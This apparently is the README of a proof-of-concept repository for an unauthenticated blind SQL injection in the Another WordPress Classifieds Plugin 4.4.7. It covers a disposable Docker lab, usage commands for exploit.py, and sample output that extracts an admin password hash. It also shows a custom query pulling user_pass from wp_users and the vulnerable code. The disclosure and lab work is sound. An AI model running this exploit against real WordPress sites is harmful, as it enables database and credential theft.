.
├── README.md                     # this file
├── docs/
│   └── WRITEUP.md                # full technical writeup
├── exploit/
│   ├── exploit.py                # unauthenticated blind SQLi PoC
│   └── requirements.txt
├── lab/
│   ├── docker-compose.yml        # WordPress 6.8 + MariaDB 11, vuln + patched
│   ├── setup.sh                  # stage plugins, boot, provision both sites
│   └── teardown.sh               # remove containers + volumes + staged files
└── patches/
    ├── 4.4.8-regions-api.diff    # the security fix (single file)
    └── 4.4.7-to-4.4.8-full.diff  # complete release diff

# 1. build and provision the disposable lab (Docker only)
cd lab
./setup.sh /path/to/another-wordpress-classifieds-plugin.4.4.7.zip \
           /path/to/another-wordpress-classifieds-plugin.4.4.8.zip
#   -> vulnerable (4.4.7): http://localhost:8080/?page_id=8
#   -> patched    (4.4.8): http://localhost:8090/?page_id=8

# 2. run the PoC
cd ../exploit
python3 -m pip install -r requirements.txt
python3 exploit.py http://localhost:8080            # should be VULNERABLE
python3 exploit.py http://localhost:8090            # should be PATCHED

# 3. tear everything down
cd ../lab && ./teardown.sh

[*] target          : http://localhost:8080
[+] anonymous listing=17 transaction=e40d5a20c91e22db865cb6612f5c2908 nonce=f59eb541e1
[*] probing time-based oracle
[+] target is VULNERABLE to unauthenticated blind SQL injection
  [+] admin / $wp$2y$10$AcAkM9QXI8OnCEEdht5G.eMnUX5y6Esb2BTEPN
[*] extracting data without authentication
[+] DBMS version  : 11.8.9-MariaDB
[+] first WP user : admin

python3 exploit.py http://localhost:8080 \
  --query "SELECT user_pass FROM wp_users ORDER BY ID LIMIT 1" \
  --maxlen 60

// includes/regions-api.php (4.4.7)
public function save( $region ) {
    ...
    $result = $this->db->insert( AWPCP_TABLE_AD_REGIONS, $region ); // keys -> SQL identifiers
}